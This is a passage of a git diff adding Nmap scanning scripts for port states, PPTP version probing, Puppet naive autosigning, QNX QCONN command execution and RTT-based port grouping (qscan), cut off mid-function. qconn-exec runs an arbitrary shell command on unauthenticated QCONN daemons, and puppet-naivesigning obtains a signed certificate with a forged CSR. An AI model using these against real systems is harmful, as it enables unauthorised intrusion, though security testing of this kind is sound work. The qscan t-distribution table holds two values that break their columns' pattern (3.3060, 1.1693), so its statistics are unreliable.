+-- | open: 22,631
+-- | closed: 7,9,13,21,23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024
+-- | udp:
+-- | open|filtered: 68,631,5353
+-- |_ closed: 7,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024
+--
+-- @xmloutput
+-- <table key="tcp">
+-- <elem key="open">22,631</elem>
+-- <elem key="closed">7,9,13,21,23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024</elem>
+-- </table>
+-- <table key="udp">
+-- <elem key="open|filtered">68,631,5353</elem>
+-- <elem key="closed">7,9,17,19,49,53,67,69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024</elem>
+-- </table>
+
+author = "Daniel Miller"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "safe" }
+
+-- the hostrule iterates over open ports for the host
+hostrule = function() return true end
+
+local states = {
+ "open",
+ "open|filtered",
+ "filtered",
+ "unfiltered",
+ "closed",
+ "closed|filtered"
+}
+local protos = {
+ "tcp", "udp", "sctp"
+}
+
+action = function(host)
+ local out = stdnse.output_table()
+ for _, p in ipairs(protos) do
+ local proto_out = stdnse.output_table()
+ for _, s in ipairs(states) do
+ local t = {}
+ local port = nmap.get_ports(host, nil, p, s)
+ while port do
+ local rstart = port.number
+ local prev
+ repeat
+ prev = port.number
+ port = nmap.get_ports(host, port, p, s)
+ if not port then break end
+ until (port.number > prev + 1)
+ if prev > rstart then
+ t[#t+1] = ("%d-%d"):format(rstart, prev)
+ else
+ t[#t+1] = tostring(rstart)
+ end
+ end
+ if #t > 0 then
+ proto_out[s] = table.concat(t, ",")
+ end
+ end
+ if #proto_out > 0 then
+ out[p] = proto_out
+ end
+ end
+ if #out > 0 then
+ return out
+ end
+end
diff --git a/scripts/pptp-version.nse b/scripts/pptp-version.nse
new file mode 100644
index 0000000..e11fdaf
--- /dev/null
+++ b/scripts/pptp-version.nse
@@ -0,0 +1,81 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Attempts to extract system information from the point-to-point tunneling protocol (PPTP) service.
+]]
+-- rev 0.2 (11-14-2007)
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 1723/tcp open pptp YAMAHA Corporation (Firmware: 32838)
+-- Service Info: Host: RT57i
+
+author = "Thomas Buchanan"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"version"}
+
+
+portrule = shortport.version_port_or_service(1723)
+
+action = function(host, port)
+ -- build a PPTP Start-Control-Connection-Request packet
+ -- copied from packet capture of pptp exchange
+ -- for details of packet structure, see http://www.ietf.org/rfc/rfc2637.txt
+ local payload = "\000\156\000\001\026\043\060\077" .. -- length=156, Message type=control, cookie
+ "\000\001\000\000\001\000\000\000" .. -- Control type=Start-Control-Connection-Request, Reserved, Protocol=1.0, Reserverd
+ "\000\000\000\001\000\000\000\001" .. -- Framing Capabilities, Bearer Capabilities
+ "\255\255\000\001" .. "none" .. -- Maximum channels, firmware version, hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000\000\000\000\000" .. -- padding for hostname
+ "\000\000\000\000" .. "nmap" .. -- padding for hostname, vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000\000\000\000\000" .. -- padding for vendor name
+ "\000\000\000\000"; -- padding for vendor name
+
+ local try = nmap.new_try()
+ local response = try(comm.exchange(host, port, payload, {timeout=5000}))
+
+ local result
+
+ -- check to see if the packet we got back matches the beginning of a PPTP Start-Control-Connection-Reply packet
+ result = string.match(response, "\0\156\0\001\026\043(.*)")
+ local output
+
+ if result ~= nil and #result > 88 then
+ -- get the firmware version (2 octets)
+ -- get the hostname (64 octets)
+ local firmware, hostname, pos = (">I2c64"):unpack(result, 22)
+
+ hostname = string.match(hostname, "(.-)\0")
+
+ -- get the vendor (should be 64 octets, but capture to end of the string to be safe)
+ local vendor = string.sub(result, pos)
+ vendor = string.match(vendor, "(.-)\0")
+
+ port.version.name = "pptp"
+ port.version.name_confidence = 10
+ if vendor ~= nil then port.version.product = vendor end
+ if firmware ~= 0 then port.version.version = "(Firmware: " .. firmware .. ")" end
+ if hostname ~= nil then port.version.hostname = hostname end
+
+ port.version.service_tunnel = "none"
+ nmap.set_port_version(host, port)
+ end
+
+end
diff --git a/scripts/puppet-naivesigning.nse b/scripts/puppet-naivesigning.nse
new file mode 100644
index 0000000..f873636
--- /dev/null
+++ b/scripts/puppet-naivesigning.nse
@@ -0,0 +1,192 @@
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local http = require "http"
+local table = require "table"
+local io = require "io"
+local base64 = require "base64"
+
+description = [[
+Detects if naive signing is enabled on a Puppet server. This enables attackers
+to create any Certificate Signing Request and have it signed, allowing them
+to impersonate as a puppet agent. This can leak the configuration of the agents
+as well as any other sensitive information found in the configuration files.
+
+This script makes use of the Puppet HTTP API interface to sign the request.
+
+This script has been Tested on versions 3.8.5, 4.10.
+
+References:
+* https://docs.puppet.com/puppet/4.10/ssl_autosign.html#security-implications-of-nave-autosigning
+]]
+
+---
+-- @usage nmap -p 8140 --script puppet-naivesigning <target>
+-- @usage nmap -p 8140 --script puppet-naivesigning --script-args puppet-naivesigning.csr=other.csr,puppet-naivesigning.node=agency <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8140/tcp open puppet syn-ack ttl 64
+-- | puppet-naivesigning:
+-- | Puppet Naive autosigning enabled! Naive autosigning causes the Puppet CA to autosign ALL CSRs.
+-- | Attackers will be able to obtain a configuration catalog, which might contain sensitive information.
+-- | -----BEGIN CERTIFICATE-----
+-- | MIIFfjCCA2agAwIBAgIBEjANBgkqhkiG9w0BAQsFADAoMSYwJAYDVQQDDB1QdXBw
+-- |_ ZXQgQ0E6IHVidW50dS5sb2NhbGRvbWFpbjAeFw0xNzA2MjkxNjQzMjZaFw0yMjA
+--
+-- @xmloutput
+-- <script id="puppet-naivesigning" output="&#xa; Puppet Naive autosigning enabled! Naive autosigning causes the Puppet CA to autosign ALL CSRs.&#xa; Attackers will be able to obtain a configuration catalog, which might contain sensitive information.&#xa; -&#45;&#45;&#45;&#45;BEGIN CERTIFICATE-&#45;&#45;&#45;&#45;&#xa; MIIFfjCCA2agAwIBAgIBEjANBgkqhkiG9w0BAQsFADAoMSYwJAYDVQQDDB1QdXBw&#xa; ZXQgQ0E6IHVidW50dS5sb2NhbGRvbWFpbjAeFw0xNzA2MjkxNjQzMjZaFw0yMjA&#xa;"/>
+--@args puppet-naivesigning.node - The name of the node in the CSR -> Default: "agentzero.localdomain"
+--@args puppet-naivesigning.env - The environment that is provided to the endpoints -> Default: "production"
+--@args puppet-naivesigning.csr - The file containing the Certificate Signing Request to replace the default one -> Default: nil
+---
+
+author = "Wong Wai Tuck"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+portrule = shortport.port_or_service( {8140} , "puppet", "tcp", "open")
+
+-- dummy certificate signing request to sign
+-- note that replacing the requested node name from the CSR doesn't work
+-- you have to generate a new CSR
+local DUMMY_CSR= [[
+-----BEGIN CERTIFICATE REQUEST-----
+MIIEZTCCAk0CAQAwIDEeMBwGA1UEAwwVYWdlbnR6ZXJvLmxvY2FsZG9tYWluMIIC
+IjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1nXwvGCczXPa/6gQupULuVM
+DoSunzhb0NRXQXmRGUqv3dJU+ktQ+laqIAle45zFg7HpiVGNCPs7ZrE/dfKaa+Tg
+sIgu+qLLHTo5l9+qhVVJUu3/YrU8RfdW6LrYGKEVqyC8QA71naJq/5jhETEmhpWL
+geZg0vpxkGhaC78WGe09oKRNEWkTLi/RjNCmY+1emjMXpwx3rrj1wyinI6b4dXmc
+RvdPFX8D9H1R8ihGEasPQNbGqzRmLt2slGstdyKWj1UKDkmDqfiuLNxRbHm7a8b5
+BTb4CpYQ88cmdU6Q8RM7+NnFzavlwrWQYxqxK0RlZZDEwCLxdrnETS72tVG9RT8v
+oELQNlgYLdFiEL02XjiDYK8p7dEtlh4+Om8XJDxx+F1Ycom1ygU+NHMgQrIZWyPJ
+73V4pm6QApcn0oQ54wYBkr/k8NjCkZOuKv4VQ4MKknvO8gotYsRzGUbDpJ2HzG1U
+VRm9ShiDKXpJ7S7ZG07owAk1XxKkBCSembzzQzivPVPJb7IQTogpe3oc4hKO1cbH
+rPBSreg6jOqVhClkWP5havq82AHM1K1ZyCiHNzBCnyxb/G1QkiKGhhXMarRKIQPQ
+szPeLdxXPVDZ0Rmri6vFdDSuGmOkPyFaEJEhIscF0dSKeBvSwIkN0LmeLU/PXi9N
+66ybzjmG9h8SLOCOGjECAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4ICAQBQUG/A+RA3
+2fMZTTPb12Dcz9vB09WIynoyd6t0zuaumQEYutR4G0uGNkKwQiFe+oVc2GtoCnr2
+MCk1QXEjWYXORDabPzDT+o68CJfzJClPeoKeXCthq1MyGpxgKLRQUoCKJdRVbFoc
+WOpgt5T1LzII2UqMSDZuVuKwnvMxc7cTe9TJyBdxS23Ol/Y2GQx+qA6aUeMHUvin
+5UwdrOtLdRcPsPfdUtU0VbsObnvLC82knzXT9Ck5sRW6r4MI6C9EQ40ff2LMFvyM
+1N0ITTd65NxUe2f4fyfdZ0t/Hd2w5aEbomrkswCEmFaY753cKic+bxVXXFlTNRuI
+/39gMwqXf0RQ2bHilEsMVSIzI8K6QV8p3rg+CnZn/a1sSRx+fLfZjEMNV4X/CXzj
+YB4XG8QPnbEO3LZ6gts17TxI7LYOd51svgJj5NMZ6sPbQswPqWzit/M8jf2JJESk
+CoRHtg9HU+CXNAODAzeh+JoMX41HGKi2lA3xfcIAN1+oojQheJj5A/+X1rpBS7zG
+kvIyTFQh1G40rgeSwxUXNxNogKPcF80bJz5BHKaw09qo2rmGw1FeNXwOgzmgCd3Y
+zUdrhHojoA2wRsT3zGiXjct8VKVydnRoFRHHoZTQXk6sR81pgV0XiA23pB42dOqZ
+L3Gga99UTASI0PZ/dEQA2sooKhIt7pCDMw==
+-----END CERTIFICATE REQUEST-----
+]]
+
+-- this node name matches the default certificate request
+local DEFAULT_NODE = "agentzero.localdomain"
+local DEFAULT_ENV = "production"
+
+-- different versions have different paths to the certificate signing endpoint
+local PATHS = {
+ v3 = '/%s/certificate_request/%s', -- version 3.8
+ v4v5 = '/puppet-ca/v1/certificate_request/%s?environment=%s' -- version 4.10 and 5.0
+}
+
+--- Checks if the csr's requester matches the provided node's name
+-- @param csr The whole certificate signing request
+-- @param node The name of the node that you wish to check
+-- @return the start and end index of the node's name in the decoded CSR, if the node's name is not found
+local function has_node_csr (csr, node)
+ local _, _, csr_b64 = string.find(csr, "%-%-%-%-%-BEGIN CERTIFICATE REQUEST%-%-%-%-%-(.-)%-%-%-%-%-END CERTIFICATE REQUEST%-%-%-%-%-")
+ string.gsub(csr_b64, "\n", "")
+ local decoded_csr = base64.dec(csr_b64)
+ return string.find(decoded_csr, node)
+end
+
+
+action = function(host, port)
+ local puppet_table = {
+ "Puppet Naive autosigning enabled! Naive autosigning causes the Puppet CA to autosign ALL CSRs.",
+ "Attackers will be able to obtain a configuration catalog, which might contain sensitive information."
+ }
+ local scan_success = false
+ local options = {}
+ options['header'] = {}
+
+ -- parse args
+ local node = stdnse.get_script_args(SCRIPT_NAME .. ".node") or DEFAULT_NODE
+ local env = stdnse.get_script_args(SCRIPT_NAME .. "env") or DEFAULT_ENV
+
+ local csr_file = stdnse.get_script_args(SCRIPT_NAME .. ".csr")
+ local csr
+ stdnse.debug1("File: ", csr_file)
+
+ -- load the custom csr if it is provided
+ if csr_file then
+ local csr_h = io.open(csr_file, "r")
+ csr = csr_h:read("*all")
+ stdnse.debug1(csr)
+ if (not(csr)) or not(string.match(csr, "BEGIN CERTIFICATE REQUEST")) then
+ stdnse.debug1("Couldn't load CSR %s", csr_file)
+ end
+ csr_h.close()
+ else
+ csr = DUMMY_CSR
+ end
+
+ stdnse.debug2("CSR: %s", csr)
+
+ -- check if the CSR matches the node name provided, if it doesn't return an error message
+ if not has_node_csr(csr, node) then
+ return string.format("[ERROR][%s] The node %s is not in the CSR\n%s",
+ SCRIPT_NAME, node, csr)
+ end
+
+ -- set acceptable API response to s, so response is returned
+ -- see https://github.com/puppetlabs/puppet/blob/master/api/docs/http_certificate_request.md#supported-response-formats
+ options['header']['Accept'] = 's'
+
+ -- set content-type to text/plain so the CSR can be deserialized
+ -- see https://docs.puppet.com/puppet/3.8/http_api/http_certificate_request.html
+ options['header']['Content-Type'] = 'text/plain'
+
+ for version, path in pairs(PATHS) do
+ if version == "v3" then
+ path = string.format(path, env, node)
+ elseif version == "v4v5" then
+ path = string.format(path, node, env)
+ end
+
+ stdnse.debug1("Path: %s", path)
+ local response = http.put(host, port, path, options, csr)
+ stdnse.debug1("Status of CSR: %s", response.status)
+ stdnse.debug2("Response for CSR: %s", response.body)
+
+ local certificate = {}
+ certificate.name = "SIGNED CERTIFICATE"
+ -- 200 means it worked
+ if response.status == 200 then
+ if response.body == "" then
+ --likely version 4.10, so have to get the cert out from searching
+ local get_cert_path = string.format("/puppet-ca/v1/certificate/%s?environment=%s", node, env)
+ local get_cert_response = http.get(host, port, get_cert_path, options)
+ response = get_cert_response
+ stdnse.debug2("Response for Get Cert: %s", get_cert_response.body)
+ end
+
+ if http.response_contains(response, "BEGIN CERTIFICATE") then
+ scan_success = true
+ table.insert(certificate, response.body)
+ table.insert(puppet_table, string.sub(certificate[1], 1, 156))
+ break
+ end
+ elseif http.response_contains(response, "has a signed certificate; ignoring certificate request") then
+ scan_success = true
+ local get_cert_path = string.format("/%s/certificate/%s", env, node)
+ local get_cert_response = http.get(host, port, get_cert_path, options)
+ table.insert(certificate, get_cert_response.body)
+ table.insert(puppet_table, string.sub(certificate[1], 1, 156))
+ break
+ elseif not response.status then
+ puppet_table = "Puppet CA timeout!"
+ end
+ end
+ return stdnse.format_output(scan_success, puppet_table)
+end
diff --git a/scripts/qconn-exec.nse b/scripts/qconn-exec.nse
new file mode 100644
index 0000000..ea142fa
--- /dev/null
+++ b/scripts/qconn-exec.nse
@@ -0,0 +1,114 @@
+local comm = require("comm")
+local vulns = require("vulns")
+local stdnse = require("stdnse")
+local string = require("string")
+local shortport = require("shortport")
+
+description = [[
+Attempts to identify whether a listening QNX QCONN daemon allows
+unauthenticated users to execute arbitrary operating system commands.
+
+QNX is a commercial Unix-like real-time operating system, aimed primarily at
+the embedded systems market. The QCONN daemon is a service provider that
+provides support, such as profiling system information, to remote IDE
+components. The QCONN daemon runs on port 8000 by default.
+
+For more information about QNX QCONN, see:
+* http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html
+* http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos
+* http://www.exploit-db.com/exploits/21520
+* http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec
+]]
+
+---
+-- @usage
+-- nmap --script qconn-exec --script-args qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p <port> <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 8000/tcp open qconn qconn remote IDE support
+-- | qconn-exec:
+-- | VULNERABLE:
+-- | The QNX QCONN daemon allows remote command execution.
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- | The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
+-- | system commands as the 'root' user.
+-- |
+-- | References:
+-- | http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos
+-- |_ http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec
+--
+-- @args qconn-exec.timeout
+-- Set the timeout in seconds. The default value is 30.
+--
+-- @args qconn-exec.bytes
+-- Set the number of bytes to retrieve. The default value is 1024.
+--
+-- @args qconn-exec.cmd
+-- Set the operating system command to execute. The default value is "uname -a".
+--
+-- @changelog
+-- 2012-10-07 - Created - created by Brendan Coles - itsecuritysolutions.org
+-- 2013-07-28 - Revised - allow users to specify arbitrary commands
+-- - now uses the vuln library for reporting
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "exploit", "vuln"}
+
+portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"})
+
+action = function( host, port )
+ local vuln_table = {
+ title = "The QNX QCONN daemon allows remote command execution.",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
+system commands as the 'root' user.
+]],
+
+ references = {
+ 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
+ 'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
+ }
+ }
+
+ -- Set socket timeout
+ local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
+
+ -- Set max bytes to retrieve
+ local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
+
+ -- Set command to execute
+ local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
+
+ -- Send command as service launcher request
+ local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
+ stdnse.debug1("Connecting to %s:%s", host.targetname or host.ip, port.number)
+ local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
+ if not status then
+ stdnse.debug1("Timeout exceeded for %s:%s (Timeout: %ss).", host.targetname or host.ip, port.number, timeout)
+ return
+ end
+
+ -- Parse response
+ stdnse.debug2("Received reply:\n%s", data)
+ if not string.match(data, "QCONN") then
+ stdnse.debug1("%s:%s is not a QNX QCONN daemon.", host.targetname or host.ip, port.number)
+ return
+ end
+
+ -- Check if the daemon attempted to execute the command
+ if string.match(data, 'OK [0-9]+\r?\n') then
+ vuln_table.state = vulns.STATE.VULN
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ return report:make_output(vuln_table)
+ else
+ stdnse.debug1("%s:%s QNX QCONN daemon is not vulnerable.", host.targetname or host.ip, port.number)
+ return
+ end
+
+end
diff --git a/scripts/qscan.nse b/scripts/qscan.nse
new file mode 100644
index 0000000..2228adf
--- /dev/null
+++ b/scripts/qscan.nse
@@ -0,0 +1,503 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Repeatedly probe open and/or closed ports on a host to obtain a series
+of round-trip time values for each port. These values are used to
+group collections of ports which are statistically different from other
+groups. Ports being in different groups (or "families") may be due to
+network mechanisms such as port forwarding to machines behind a NAT.
+
+In order to group these ports into different families, some statistical
+values must be computed. Among these values are the mean and standard
+deviation of the round-trip times for each port. Once all of the times
+have been recorded and these values have been computed, the Student's
+t-test is used to test the statistical significance of the differences
+between each port's data. Ports which have round-trip times that are
+statistically the same are grouped together in the same family.
+
+This script is based on Doug Hoyte's Qscan documentation and patches
+for Nmap.
+]]
+
+-- See http://hcsw.org/nmap/QSCAN for more on Doug's research
+
+---
+-- @usage
+-- nmap --script qscan --script-args qscan.confidence=0.95,qscan.delay=200ms,qscan.numtrips=10 target
+--
+-- @args confidence Confidence level: <code>0.75</code>, <code>0.9</code>,
+-- <code>0.95</code>, <code>0.975</code>, <code>0.99</code>,
+-- <code>0.995</code>, or <code>0.9995</code>.
+-- @args delay Average delay between packet sends. This is a number followed by
+-- <code>ms</code> for milliseconds or <code>s</code> for seconds.
+-- (<code>m</code> and <code>h</code> are also supported but are too long
+-- for timeouts.) The actual delay will randomly vary between 50% and
+-- 150% of the time specified. Default: <code>200ms</code>.
+-- @args numtrips Number of round-trip times to try to get.
+-- @args numopen Maximum number of open ports to probe (default 8). A negative
+-- number disables the limit.
+-- @args numclosed Maximum number of closed ports to probe (default 1). A
+-- negative number disables the limit.
+--
+-- @output
+-- | qscan:
+-- | PORT FAMILY MEAN (us) STDDEV LOSS (%)
+-- | 21 0 2082.70 460.72 0.0%
+-- | 22 0 2211.70 886.69 0.0%
+-- | 23 1 4631.90 606.67 0.0%
+-- | 24 0 1922.40 336.90 0.0%
+-- | 25 0 2017.30 404.31 0.0%
+-- | 80 1 4180.80 856.98 0.0%
+-- |_443 0 2013.30 368.91 0.0%
+--
+
+-- 03/17/2010
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+-- defaults
+local DELAY = 0.200
+local NUMTRIPS = 10
+local CONF = 0.95
+local NUMOPEN = 8
+local NUMCLOSED = 1
+
+-- The following tdist{} and tinv() are based off of
+-- http://www.owlnet.rice.edu/~elec428/projects/tinv.c
+local tdist = {
+ -- 75% 90% 95% 97.5% 99% 99.5% 99.95%
+ { 1.0000, 3.0777, 6.3138, 12.7062, 31.8207, 63.6574, 636.6192 }, -- 1
+ { 0.8165, 1.8856, 2.9200, 4.3027, 6.9646, 9.9248, 31.5991 }, -- 2
+ { 0.7649, 1.6377, 2.3534, 3.1824, 4.5407, 5.8409, 12.9240 }, -- 3
+ { 0.7407, 1.5332, 2.1318, 2.7764, 3.7649, 4.6041, 8.6103 }, -- 4
+ { 0.7267, 1.4759, 2.0150, 2.5706, 3.3649, 4.0322, 6.8688 }, -- 5
+ { 0.7176, 1.4398, 1.9432, 2.4469, 3.1427, 3.7074, 5.9588 }, -- 6
+ { 0.7111, 1.4149, 1.8946, 2.3646, 2.9980, 3.4995, 5.4079 }, -- 7
+ { 0.7064, 1.3968, 1.8595, 3.3060, 2.8965, 3.3554, 5.0413 }, -- 8
+ { 0.7027, 1.3830, 1.8331, 2.2622, 2.8214, 3.2498, 4.7809 }, -- 9
+ { 0.6998, 1.3722, 1.8125, 2.2281, 2.7638, 1.1693, 4.5869 }, -- 10
+ { 0.6974, 1.3634, 1.7959, 2.2010, 2.7181, 3.1058, 4.4370 }, -- 11
+ { 0.6955, 1.3562, 1.7823, 2.1788, 2.6810, 3.0545, 4.3178 }, -- 12
+ { 0.6938, 1.3502, 1.7709, 2.1604, 2.6403, 3.0123, 4.2208 }, -- 13
+ { 0.6924, 1.3450, 1.7613, 2.1448, 2.6245, 2.9768, 4.1405 }, -- 14
+ { 0.6912, 1.3406, 1.7531, 2.1315, 2.6025, 2.9467, 4.0728 }, -- 15
+ { 0.6901, 1.3368, 1.7459, 2.1199, 2.5835, 2.9208, 4.0150 }, -- 16
+ { 0.6892, 1.3334, 1.7396, 2.1098, 2.5669, 2.8982, 3.9651 }, -- 17
+ { 0.6884, 1.3304, 1.7341, 2.1009, 2.5524, 2.8784, 3.9216 }, -- 18
+ { 0.6876, 1.3277, 1.7291, 2.0930, 2.5395, 2.8609, 3.8834 }, -- 19
+ { 0.6870, 1.3253, 1.7247, 2.0860, 2.5280, 2.8453, 3.8495 }, -- 20
+ { 0.6844, 1.3163, 1.7081, 2.0595, 2.4851, 2.7874, 3.7251 }, -- 25
+ { 0.6828, 1.3104, 1.6973, 2.0423, 2.4573, 2.7500, 3.6460 }, -- 30
+ { 0.6816, 1.3062, 1.6896, 2.0301, 2.4377, 2.7238, 3.5911 }, -- 35
+ { 0.6807, 1.3031, 1.6839, 2.0211, 2.4233, 2.7045, 3.5510 }, -- 40
+ { 0.6800, 1.3006, 1.6794, 2.0141, 2.4121, 2.6896, 3.5203 }, -- 45
+ { 0.6794, 1.2987, 1.6759, 2.0086, 2.4033, 2.6778, 3.4960 }, -- 50
+ { 0.6786, 1.2958, 1.6706, 2.0003, 2.3901, 2.6603, 3.4602 }, -- 60
+ { 0.6780, 1.2938, 1.6669, 1.9944, 2.3808, 2.6479, 3.4350 }, -- 70
+ { 0.6776, 1.2922, 1.6641, 1.9901, 2.3739, 2.6387, 3.4163 }, -- 80
+ { 0.6772, 1.2910, 1.6620, 1.9867, 2.3685, 2.6316, 3.4019 }, -- 90
+ { 0.6770, 1.2901, 1.6602, 1.9840, 2.3642, 2.6259, 3.3905 } -- 100
+}
+
+-- cache ports to probe between the hostrule and the action function
+local qscanports
+
+
+local tinv = function(p, dof)
+ local din, pin
+
+ if dof >= 1 and dof <= 20 then
+ din = dof
+ elseif dof < 25 then
+ din = 20
+ elseif dof < 30 then
+ din = 21
+ elseif dof < 35 then
+ din = 22
+ elseif dof < 40 then
+ din = 23
+ elseif dof < 45 then
+ din = 24
+ elseif dof < 50 then
+ din = 25
+ elseif dof < 60 then
+ din = 26
+ elseif dof < 70 then
+ din = 27
+ elseif dof < 80 then
+ din = 28
+ elseif dof < 90 then
+ din = 29
+ elseif dof < 100 then
+ din = 30
+ elseif dof >= 100 then
+ din = 31
+ end
+
+ if p == 0.75 then
+ pin = 1
+ elseif p == 0.9 then
+ pin = 2
+ elseif p == 0.95 then
+ pin = 3
+ elseif p == 0.975 then
+ pin = 4
+ elseif p == 0.99 then
+ pin = 5
+ elseif p == 0.995 then
+ pin = 6
+ elseif p == 0.9995 then
+ pin = 7
+ end
+
+ return tdist[din][pin]
+end
+
+--- Calculates intermediate t statistic
+local tstat = function(n1, n2, u1, u2, v1, v2)
+ local dof = n1 + n2 - 2
+ local a = (n1 + n2) / (n1 * n2)
+ --local b = ((n1 - 1) * (s1 * s1) + (n2 - 1) * (s2 * s2))
+ local b = ((n1 - 1) * v1) + ((n2 - 1) * v2)
+ return math.abs(u1 - u2) / math.sqrt(a * (b / dof))
+end
+
+--- Pcap check
+-- @return Destination and source IP addresses and TCP ports
+local check = function(layer3)
+ local ip = packet.Packet:new(layer3, layer3:len())
+ return string.pack('>c4c4I2I2', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
+end
+
+--- Updates a TCP Packet object
+-- @param tcp The TCP object
+local updatepkt = function(tcp, dport)
+ tcp:tcp_set_sport(math.random(0x401, 0xffff))
+ tcp:tcp_set_dport(dport)
+ tcp:tcp_set_seq(math.random(1, 0x7fffffff))
+ tcp:tcp_count_checksum(tcp.ip_len)
+ tcp:ip_count_checksum()
+end
+
+--- Create a TCP Packet object
+-- @param host Host object
+-- @return TCP Packet object
+local genericpkt = function(host)
+ local pkt = stdnse.fromhex(
+ "4500 002c 55d1 0000 8006 0000 0000 0000" ..
+ "0000 0000 0000 0000 0000 0000 0000 0000" ..
+ "6002 0c00 0000 0000 0204 05b4"
+ )
+
+ local tcp = packet.Packet:new(pkt, pkt:len())
+
+ tcp:ip_set_bin_src(host.bin_ip_src)
+ tcp:ip_set_bin_dst(host.bin_ip)
+
+ updatepkt(tcp, 0)
+
+ return tcp
+end
+
+--- Calculates "family" values for grouping
+-- @param stats Statistics table
+-- @param conf Confidence level
+local calcfamilies = function(stats, conf)
